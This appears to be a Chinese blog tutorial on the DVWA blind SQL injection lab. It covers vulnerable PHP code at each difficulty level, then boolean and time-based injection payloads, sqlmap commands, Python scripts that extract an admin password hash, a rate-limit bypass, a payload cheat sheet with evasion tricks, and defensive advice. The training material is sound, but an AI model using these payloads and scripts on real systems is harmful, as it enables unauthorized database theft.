0%

DVWA - SQL Injection (Blind) 攻防练习详解

目录


漏洞简介

什么是盲注(Blind SQL Injection)?

盲注是一种SQL注入攻击,应用程序不直接返回数据库查询结果或错误信息,攻击者必须通过应用程序的不同响应(如页面内容、HTTP状态码、响应时间)来推断数据库信息。

与普通SQL注入的区别:

特性 普通SQL注入 盲注
错误信息 直接显示 不显示
查询结果 直接返回 不返回
利用方式 UNION查询 布尔/时间盲注
攻击难度 较低 较高
攻击速度 慢(需逐字符猜测)

盲注的类型:

1. 布尔盲注(Boolean-based Blind SQL Injection)

通过True/False条件判断,观察页面响应的差异:

1
2
3
4
5
6
-- 测试条件
1' AND 1=1 -- → 返回True(页面正常)
1' AND 1=2 -- → 返回False(页面异常)

-- 猜测数据
1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' --

判断依据:

  • 页面内容不同(如”User exists”或”User not found”)
  • HTTP状态码不同
  • 页面长度不同

2. 时间盲注(Time-based Blind SQL Injection)

通过数据库延时函数,观察响应时间:

1
2
3
4
5
6
-- MySQL
1' AND SLEEP(5) -- → 延迟5秒
1' AND IF(1=1, SLEEP(5), 0) --

-- 猜测数据
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a', SLEEP(5), 0) --

判断依据:

  • 响应时间差异(延迟 vs 正常)

危害:

  • 获取数据库内容(用户名、密码等)
  • 确定数据库类型和版本
  • 枚举数据库结构
  • 获取敏感配置信息
  • 完全控制数据库

DVWA场景:
通过用户ID查询用户信息,应用只显示”User exists”或”User not found”。


Low 难度

攻击目标

完全未过滤,可进行布尔盲注和时间盲注。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

// 检查是否提交了表单
// isset() - 检查变量是否存在
if( isset( $_GET[ 'Submit' ] ) ) {

// ★★★ 危险操作:直接获取用户输入,无任何过滤 ★★★
// $_GET['id'] - 从URL获取id参数
// trim() - 只是去除首尾空格,不做任何安全处理
// mysql_real_escape_string() - 只防单引号,不够安全
//
// 问题:
// 1. 没有参数化查询
// 2. 直接拼接SQL
// 3. 虽然使用了mysql_real_escape_string(),但在某些情况下仍可绕过
$id = $_GET[ 'id' ];

// ★★★ 危险操作:直接拼接SQL语句 ★★★
// SELECT first_name, last_name FROM users WHERE user_id = '$id'
//
// 漏洞:攻击者可以注入任意SQL代码
// 例如:$id = "1' AND 1=1 --"
// 结果:SELECT first_name, last_name FROM users WHERE user_id = '1' AND 1=1 --'
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

// 执行SQL查询
// mysql_query() - 执行MySQL查询(已弃用)
// 返回结果集资源
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// ★★★ 问题:不显示具体数据,只显示是否存在 ★★★
// mysql_num_rows() - 返回结果集的行数
// 这就是"盲注"的原因:
// - 如果有结果:显示"User ID exists"
// - 如果无结果:显示"User ID not found"
// - 攻击者只能通过这两种响应来推断信息
if( mysql_num_rows( $result ) > 0 ) {
// 用户存在
// ★★★ 不显示具体的first_name和last_name ★★★
echo '<pre>User ID exists in the database.</pre>';
}
else {
// 用户不存在
echo '<pre>User ID is MISSING from the database.</pre>';
}

// 关闭数据库连接
mysql_close();
}

?>

HTML表单:

1
2
3
4
5
6
7
<form name="form1" action="#" method="GET">
<p>
User ID:
<input type="text" name="id" size="15">
<input type="submit" name="Submit" value="Submit">
</p>
</form>

漏洞分析

核心问题:

  1. 直接拼接SQL - 没有使用参数化查询
  2. 不显示具体数据 - 只返回存在/不存在
  3. 显示错误信息 - or die(mysql_error())暴露数据库信息
  4. 无输入验证 - 接受任意输入

数据流向:

1
2
3
4
5
6
7
用户输入($_GET['id'])

直接拼接到SQL

执行查询

只返回True/False

攻击步骤

步骤1:测试SQL注入漏洞

测试1:基础测试

1
2
3
4
5
6
7
8
9
10
输入: 1'
结果: MySQL错误(说明有SQL注入)

输入: 1' AND '1'='1
结果: User ID exists(True

输入: 1' AND '1'='2
结果: User ID not found(False

结论:存在布尔盲注漏洞

步骤2:布尔盲注 - 确定数据库信息

测试数据库版本:

1
2
3
4
5
6
7
8
9
10
-- 测试MySQL版本是否>5
1' AND (SELECT SUBSTRING(@@version,1,1))>'5' --

True → 版本>5
False → 版本<=5

-- 逐字符猜测版本号
1' AND (SELECT SUBSTRING(@@version,1,1))='5' --
1' AND (SELECT SUBSTRING(@@version,3,1))='7' --
...

测试数据库名称长度:

1
2
3
4
5
6
7
8
9
10
-- 数据库名长度是否>5
1' AND LENGTH(database())>5 --

-- 二分法确定长度
1' AND LENGTH(database())>10 -- → False
1' AND LENGTH(database())>5 -- → True
1' AND LENGTH(database())>7 -- → False
1' AND LENGTH(database())=6 -- → True

结论:数据库名长度为6

猜测数据库名(逐字符):

1
2
3
4
5
6
7
8
9
10
-- 第一个字符
1' AND SUBSTRING(database(),1,1)='a' -- → False
1' AND SUBSTRING(database(),1,1)='b' -- → False
...
1' AND SUBSTRING(database(),1,1)='d' -- → True

-- 第二个字符
1' AND SUBSTRING(database(),2,1)='v' -- → True

-- 继续...最终得到:dvwa

步骤3:枚举数据库表

获取表名数量:

1
2
-- 测试表数量
1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>1 --

获取第一个表名:

1
2
3
4
5
6
7
-- 表名长度
1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=9 --

-- 第一个字符
1' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='g' --

-- 继续...得到:guestbook

步骤4:枚举表的列名

1
2
3
4
5
6
7
-- users表的列数
1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND table_schema=database())>5 --

-- 第一个列名
1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='u' --

-- 继续...得到:user_id, first_name, last_name, user, password, avatar...

步骤5:提取数据

获取admin密码(逐字符):

1
2
3
4
5
6
7
8
9
10
-- 密码长度
1' AND LENGTH((SELECT password FROM users WHERE user='admin'))=32 --

-- 第一个字符
1' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)='5' --

-- 第二个字符
1' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),2,1)='f' --

-- 继续...得到完整MD5哈希

步骤6:时间盲注(当布尔盲注不可用时)

测试时间盲注:

1
2
3
4
5
6
7
-- 基础测试
1' AND SLEEP(5) --
结果:响应延迟5秒

-- 条件时间盲注
1' AND IF(1=1, SLEEP(5), 0) -- → 延迟5秒(True)
1' AND IF(1=2, SLEEP(5), 0) -- → 立即响应(False)

使用时间盲注提取数据:

1
2
3
4
5
6
7
-- 数据库名第一个字符是'd'
1' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0) --
响应慢 → True
响应快 → False

-- 提取密码
1' AND IF(SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)='5', SLEEP(5), 0) --

步骤7:使用SQLMap自动化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 基本扫描
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=your_session" \
--batch

# 获取数据库名
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=your_session" \
--dbs

# 获取表名
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=your_session" \
-D dvwa --tables

# 获取列名
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=your_session" \
-D dvwa -T users --columns

# 导出数据
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=your_session" \
-D dvwa -T users --dump

Medium 难度

攻击目标

使用了mysqli和简单过滤,但仍可进行盲注。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

if( isset( $_POST[ 'Submit' ] ) ) {

// ★★★ 改进1:从POST获取数据(而不是GET) ★★★
// POST数据不会显示在URL中
// 但这不能防止SQL注入!
$id = $_POST[ 'id' ];

// ★★★ 改进2:使用mysqli(而不是mysql) ★★★
// mysqli_real_escape_string() - 转义特殊字符
// 参数1:数据库连接
// 参数2:要转义的字符串
//
// 转义内容:
// \x00 → \\x00
// \n → \\n
// \r → \\r
// \ → \\
// ' → \'
// " → \"
// \x1a → \\x1a
//
// 问题:
// 1. 仍然是字符串拼接,不是参数化查询
// 2. 在某些情况下仍可能被绕过(如宽字节注入)
// 3. 不防止数字型注入(如果没有引号)
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// ★★★ 仍然拼接SQL ★★★
// 虽然使用了mysqli_real_escape_string(),但仍不安全
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

// ★★★ 改进3:不显示错误信息 ★★★
// 移除了 or die(mysql_error())
// 攻击者无法看到SQL错误
// 但这使得需要使用盲注技术
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );

// 仍然只显示存在/不存在
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 用户存在
echo '<pre>User ID exists in the database.</pre>';
}
else {
// ★★★ 改进4:不透露具体原因 ★★★
// 无论是不存在还是查询错误,都显示相同信息
// 增加了攻击难度
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

HTML表单改为POST:

1
2
3
4
5
6
7
<form name="form1" action="#" method="POST">
<p>
User ID:
<input type="text" name="id" size="15">
<input type="submit" name="Submit" value="Submit">
</p>
</form>

新增防护

  1. 使用POST - 数据不在URL中
  2. mysqli_real_escape_string() - 转义特殊字符
  3. 不显示错误 - 移除die(mysql_error())
  4. 统一错误信息 - 不透露失败原因

仍存在的漏洞

关键问题:

虽然使用了mysqli_real_escape_string(),但:

  1. 数字型注入 - 查询中user_id = $id没有引号!

    1
    2
    -- 注意:没有引号包围$id
    SELECT * FROM users WHERE user_id = $id;
  2. mysqli_real_escape_string()只转义引号 - 对数字型注入无效

    1
    2
    3
    4
    输入: 1 OR 1=1
    mysqli_real_escape_string(): 1 OR 1=1 (不变)
    SQL: SELECT * FROM users WHERE user_id = 1 OR 1=1;
    结果:注入成功!

绕过方法

方法1:数字型注入(最直接)

1
2
3
4
5
6
7
-- 基础测试
1 OR 1=1User exists(返回所有用户)
1 AND 1=2User not found(False

-- 布尔盲注
1 AND (SELECT SUBSTRING(database(),1,1))='d'
1 AND LENGTH(database())=4

方法2:时间盲注

1
2
3
4
5
6
-- 基础测试
1 AND SLEEP(5)
→ 响应延迟5

-- 条件时间盲注
1 AND IF((SELECT SUBSTRING(database(),1,1))='d', SLEEP(5), 0)

方法3:使用SQLMap

1
2
3
4
5
6
7
8
9
10
11
12
13
# 指定POST参数
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/" \
--data="id=1&Submit=Submit" \
--cookie="security=medium; PHPSESSID=your_session" \
--batch \
-p id

# 使用时间盲注技术
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/" \
--data="id=1&Submit=Submit" \
--cookie="security=medium; PHPSESSID=your_session" \
--technique=T \
-D dvwa -T users --dump

方法4:Python脚本自动化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import time

url = "http://dvwa.local/vulnerabilities/sqli_blind/"
cookies = {
'security': 'medium',
'PHPSESSID': 'your_session'
}

def check_condition(condition):
"""测试条件是否为True"""
payload = f"1 AND {condition}"
data = {'id': payload, 'Submit': 'Submit'}

response = requests.post(url, data=data, cookies=cookies)

return 'exists' in response.text

def extract_string(query, length):
"""提取字符串(布尔盲注)"""
result = ""

for i in range(1, length + 1):
# 二分法查找字符
for c in 'abcdefghijklmnopqrstuvwxyz0123456789_':
condition = f"(SELECT SUBSTRING(({query}),{i},1))='{c}'"

if check_condition(condition):
result += c
print(f"Found char {i}: {c} (current: {result})")
break

return result

# 获取数据库名长度
for length in range(1, 20):
if check_condition(f"LENGTH(database())={length}"):
print(f"Database name length: {length}")
break

# 提取数据库名
db_name = extract_string("database()", length)
print(f"Database name: {db_name}")

# 提取admin密码
password = extract_string("SELECT password FROM users WHERE user='admin'", 32)
print(f"Admin password hash: {password}")

High 难度

攻击目标

使用了LIMIT和Session,增加了复杂度,但仍可盲注。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {

// ★★★ 改进1:使用Cookie传递数据 ★★★
// 而不是GET或POST
// 但这不能防止SQL注入!
// 攻击者仍可以修改Cookie
$id = $_COOKIE[ 'id' ];

// ★★★ 改进2:使用Session限制尝试次数 ★★★
// 检查Session中是否有尝试次数记录
if( !isset( $_SESSION['count'] ) ) {
$_SESSION['count'] = 0;
}

// ★★★ 限流机制 ★★★
// 每次请求增加计数
$_SESSION['count']++;

// ★★★ 问题:限制不够严格 ★★★
// 只是在特定次数后暂停1秒
// 攻击者可以通过:
// 1. 清除Session
// 2. 使用多个Session
// 3. 忍受延迟继续攻击
if( $_SESSION['count'] > 3 ) {
// 暂停1秒(轻微的速率限制)
sleep(1);
}

// 使用mysqli_real_escape_string()转义
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// ★★★ 改进3:添加LIMIT 1 ★★★
// LIMIT 1 - 只返回一行结果
//
// 目的:限制结果数量
// 问题:
// 1. 不能防止SQL注入
// 2. 攻击者仍可以使用盲注
// 3. 可以使用UNION绕过(在某些情况下)
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );

if( $result && mysqli_num_rows( $result ) == 1 ) {
echo '<pre>User ID exists in the database.</pre>';
}
else {
// ★★★ 改进4:重置Session计数 ★★★
// 查询失败后重置
// 但这实际上帮助了攻击者(可以无限尝试)
$_SESSION['count'] = 0;

echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

HTML部分(JavaScript设置Cookie):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<form name="form1" onsubmit="return setCookie();">
<p>
User ID:
<input type="text" name="id" size="15">
<input type="submit" value="Submit">
</p>
</form>

<script>
// ★★★ 使用JavaScript设置Cookie ★★★
function setCookie() {
var id = document.forms["form1"]["id"].value;

// 设置Cookie
// path=/ - Cookie对整个网站有效
document.cookie = "id=" + id + "; path=/";

// 重新加载页面,触发PHP处理Cookie
location.reload();

return false; // 防止表单提交
}
</script>

新增防护

  1. 使用Cookie - 数据通过Cookie传递
  2. Session计数 - 限制尝试次数
  3. 添加LIMIT - 限制查询结果
  4. 速率限制 - sleep()延迟

仍存在的漏洞

核心问题:

  1. 仍是字符串拼接 - 有单引号,但仍可注入
  2. 限流太弱 - 只延迟1秒,可以忍受
  3. Session可重置 - 清除Cookie重新开始
  4. LIMIT不防注入 - 可以用注释绕过

LIMIT绕过:

1
2
3
4
5
6
7
8
9
10
11
-- 原始查询
SELECT * FROM users WHERE user_id = '$id' LIMIT 1;

-- 注释掉LIMIT
$id = 1' --
结果:SELECT * FROM users WHERE user_id = '1' --' LIMIT 1;
简化:SELECT * FROM users WHERE user_id = '1'

-- 或使用#
$id = 1' #
结果:SELECT * FROM users WHERE user_id = '1' #' LIMIT 1;

绕过方法

方法1:注释绕过LIMIT

1
2
3
4
5
6
-- 使用--注释
1' AND 1=1 --
1' AND (SELECT SUBSTRING(database(),1,1))='d' --

-- 使用#注释
1' AND 1=1 #

方法2:容忍速率限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time

url = "http://dvwa.local/vulnerabilities/sqli_blind/"

# 创建Session(保持Cookie)
session = requests.Session()
session.cookies.set('security', 'high')
session.cookies.set('PHPSESSID', 'your_session')

def check_condition(condition):
payload = f"1' AND {condition} --"

# 设置Cookie
session.cookies.set('id', payload)

response = session.get(url)

# High难度可能有延迟,需要更长超时
return 'exists' in response.text

# 继续盲注(虽然慢,但可行)
result = ""
for i in range(1, 5):
for c in 'abcdefghijklmnopqrstuvwxyz':
if check_condition(f"(SELECT SUBSTRING(database(),{i},1))='{c}'"):
result += c
print(f"Found: {result}")
break

# 增加延迟以适应限流
time.sleep(1)

方法3:使用多个Session绕过限流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 当一个Session被限流,切换到另一个
sessions = []
for i in range(10):
s = requests.Session()
s.cookies.set('security', 'high')
s.cookies.set('PHPSESSID', f'session_{i}')
sessions.append(s)

current_session = 0

def check_with_rotation(condition):
global current_session
session = sessions[current_session]

# 每3次请求切换Session
if current_session % 3 == 0:
current_session = (current_session + 1) % len(sessions)

# 使用当前Session检查
# ...

方法4:时间盲注(不受LIMIT影响)

1
2
3
4
5
6
-- 时间盲注不受LIMIT限制
1' AND SLEEP(5) --
响应慢 → 注入成功

-- 提取数据
1' AND IF((SELECT SUBSTRING(database(),1,1))='d', SLEEP(3), 0) --

Impossible 难度

攻击目标

使用PDO预编译语句,真正安全。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php

if( isset( $_GET[ 'Submit' ] ) ) {

// ★★★ 改进1:验证Anti-CSRF token ★★★
// checkToken() - 验证CSRF token
// 防止跨站请求伪造
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取用户输入
$id = $_GET[ 'id' ];

// ★★★ 改进2:输入验证 ★★★
// is_numeric() - 检查是否为数字
// 如果不是数字,直接拒绝
//
// 这是白名单验证:只接受数字
if( is_numeric( $id ) ) {

// ★★★ 核心防护:PDO预编译语句 ★★★
// $db - PDO数据库连接对象
// prepare() - 准备SQL语句
// :id - 命名参数占位符
//
// 原理:
// 1. SQL结构和数据完全分离
// 2. 参数永远不会被当作SQL代码执行
// 3. 数据库引擎知道:id是数据,不是代码
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );

// ★★★ 绑定参数 ★★★
// bindParam() - 将变量绑定到参数
// PDO::PARAM_INT - 参数类型为整数
//
// 作用:
// 1. 明确指定参数类型
// 2. 防止类型混淆攻击
$data->bindParam( ':id', $id, PDO::PARAM_INT );

// ★★★ 执行查询 ★★★
// execute() - 执行预编译语句
// 此时才真正执行SQL
// 参数值被安全地插入
$data->execute();

// ★★★ 获取结果 ★★★
// fetch() - 获取一行结果
// 如果没有结果,返回false
if( $data->rowCount() == 1 ) {
// ★★★ 改进3:显示具体数据 ★★★
// 因为已经完全安全,可以显示数据
$row = $data->fetch();
echo '<pre>User ID exists in the database.</pre>';
echo '<pre>First name: ' . $row[ 'first_name' ] . '</pre>';
echo '<pre>Surname: ' . $row[ 'last_name' ] . '</pre>';
}
else {
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
else {
// ★★★ 输入不是数字,直接拒绝 ★★★
echo '<pre>Invalid input: must be numeric</pre>';
}
}

// ★★★ 生成新的CSRF token ★★★
generateSessionToken();

?>

完善的防护机制

多层防御:

  1. CSRF Token - 防止跨站请求伪造
  2. 输入验证 - is_numeric()白名单
  3. PDO预编译 - SQL结构和数据分离
  4. 参数类型绑定 - PDO::PARAM_INT
  5. LIMIT限制 - 防止返回过多数据

PDO预编译工作原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
传统拼接(不安全):
$query = "SELECT * FROM users WHERE id = '$id'";

攻击:$id = "1' OR '1'='1"

结果:SELECT * FROM users WHERE id = '1' OR '1'='1'

SQL注入成功!

PDO预编译(安全):
$stmt = $db->prepare("SELECT * FROM users WHERE id = :id");
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();

攻击:$id = "1' OR '1'='1"

PDO处理:将"1' OR '1'='1"作为整数0
或拒绝(不是有效整数)

SQL注入失败!

为什么无法攻破?

所有攻击都被阻止:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
攻击11' OR '1'='1
is_numeric() → False → 拒绝

攻击21 OR 1=1
is_numeric() → False → 拒绝(包含空格)

攻击31
is_numeric() → True
PDO → 安全执行
结果:正常查询,无法注入

攻击41; DROP TABLE users; --
is_numeric() → False → 拒绝

攻击5:使用十六进制/Unicode绕过
is_numeric() → False → 拒绝

关键防御点:

  1. 白名单验证 - 只接受数字
  2. 预编译语句 - SQL结构固定
  3. 参数绑定 - 类型强制转换
  4. 双重保护 - 验证 + PDO

防御建议

代码层面

1. 使用PDO预编译(最佳方案)

1
2
3
4
5
6
7
8
// ✅ 正确:PDO预编译
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();

// 或使用execute()直接传递参数
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$id]);

2. 输入验证和白名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 验证数字
if (!is_numeric($id)) {
die('Invalid input');
}

// 验证字符串(白名单)
$allowed = ['admin', 'user', 'guest'];
if (!in_array($input, $allowed)) {
die('Invalid input');
}

// 正则验证
if (!preg_match('/^[a-zA-Z0-9_]+$/', $input)) {
die('Invalid characters');
}

3. 最小权限原则

1
2
3
4
5
6
7
8
9
// 数据库用户只有SELECT权限
// 即使被注入,也无法DELETE/UPDATE/DROP

// config.php
$db_user = 'read_only_user'; // 只读用户
$db_pass = 'secure_password';

// 授权(在MySQL中)
GRANT SELECT ON database.* TO 'read_only_user'@'localhost';

4. 错误处理

1
2
3
4
5
6
7
8
9
10
// ❌ 不要显示数据库错误
// die(mysql_error());

// ✅ 记录错误到日志
try {
$stmt->execute();
} catch (PDOException $e) {
error_log('Database error: ' . $e->getMessage());
die('An error occurred');
}

检测层面

1. WAF规则

1
2
3
4
5
6
7
# ModSecurity规则示例
SecRule ARGS "@detectSQLi" \
"id:1000,phase:2,block,msg:'SQL Injection Detected'"

# 检测常见SQL注入模式
SecRule ARGS "@rx (union|select|insert|update|delete|drop|exec|script)" \
"id:1001,phase:2,block,msg:'SQL Keyword Detected'"

2. 监控异常查询

1
2
3
4
5
6
7
8
9
10
11
12
13
// 记录慢查询
$start = microtime(true);
$stmt->execute();
$duration = microtime(true) - $start;

if ($duration > 1.0) {
// 查询超过1秒,可能是时间盲注
logSecurityEvent('Slow query detected', [
'duration' => $duration,
'ip' => $_SERVER['REMOTE_ADDR'],
'query' => $query
]);
}

3. 限流和账户锁定

1
2
3
4
5
6
7
8
9
10
11
12
// 检测暴力破解
function checkAttempts($ip) {
$attempts = getAttempts($ip, 60); // 过去60秒

if ($attempts > 10) {
// 锁定IP 5分钟
lockIP($ip, 300);
die('Too many attempts');
}

recordAttempt($ip);
}

工具使用

SQLMap防御测试

1
2
3
4
5
6
7
# 测试自己的应用
sqlmap -u "http://your-site.com/page?id=1" \
--batch \
--level=5 \
--risk=3

# 如果SQLMap无法注入,说明防护有效

代码审计工具

1
2
3
4
5
6
7
# 使用PHPStan检查SQL注入
phpstan analyze src/ --level=8

# 使用SonarQube
sonar-scanner \
-Dsonar.projectKey=myproject \
-Dsonar.sources=src

总结对比

特性 Low Medium High Impossible
查询方式 字符串拼接 mysqli_escape mysqli_escape PDO预编译
参数传递 GET POST Cookie GET
输入验证 ✅ is_numeric
错误信息 ✅ 显示 ❌ 隐藏 ❌ 隐藏 ❌ 隐藏
限流 ✅ 弱限流 ✅ CSRF
LIMIT ✅ LIMIT 1 ✅ LIMIT 1
攻击难度 极易 简单 中等 极难
布尔盲注 ✅ 可行 ✅ 可行 ✅ 可行 ❌ 不可行
时间盲注 ✅ 可行 ✅ 可行 ✅ 可行 ❌ 不可行

常用Payload集合

布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-- 基础测试
1' AND 1=1 -- → True
1' AND 1=2 -- → False

-- 数据库信息
1' AND LENGTH(database())>5 --
1' AND SUBSTRING(database(),1,1)='d' --
1' AND ASCII(SUBSTRING(database(),1,1))>100 --

-- 表名枚举
1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5 --
1' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u' --

-- 数据提取
1' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)='5' --

时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
-- MySQL
1' AND SLEEP(5) --
1' AND IF(1=1, SLEEP(5), 0) --
1' AND IF((SELECT SUBSTRING(database(),1,1))='d', SLEEP(5), 0) --

-- 基于BENCHMARK
1' AND BENCHMARK(5000000, MD5('test')) --

-- PostgreSQL
1' AND pg_sleep(5) --

-- SQL Server
1'; WAITFOR DELAY '00:00:05' --

绕过技巧

1
2
3
4
5
6
7
8
9
10
11
-- 大小写混淆
1' AnD 1=1 --
1' aNd 1=1 --

-- 内联注释
1' AND/**/1=1 --
1'/*comment*/AND/*comment*/1=1--

-- 编码绕过
1' AND 0x31=0x31 --
1' AND CHAR(49)=CHAR(49) --

实战建议

盲注攻击步骤:

  1. 确认注入点(测试True/False)
  2. 确定数据库类型和版本
  3. 枚举数据库名和表名
  4. 枚举列名
  5. 逐字符提取数据
  6. 破解密码哈希

自动化工具:

  • SQLMap - 全自动SQL注入工具
  • NoSQLMap - NoSQL盲注工具
  • Burp Suite - 手动测试和自动化

防御检查:

  • ✅ 所有查询使用预编译
  • ✅ 输入验证(白名单)
  • ✅ 最小权限
  • ✅ 限流机制
  • ✅ 错误不泄露信息
  • ✅ 定期安全审计

道德准则:

  • 只在授权环境测试
  • 不窃取真实数据
  • 学习是为了构建安全系统
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels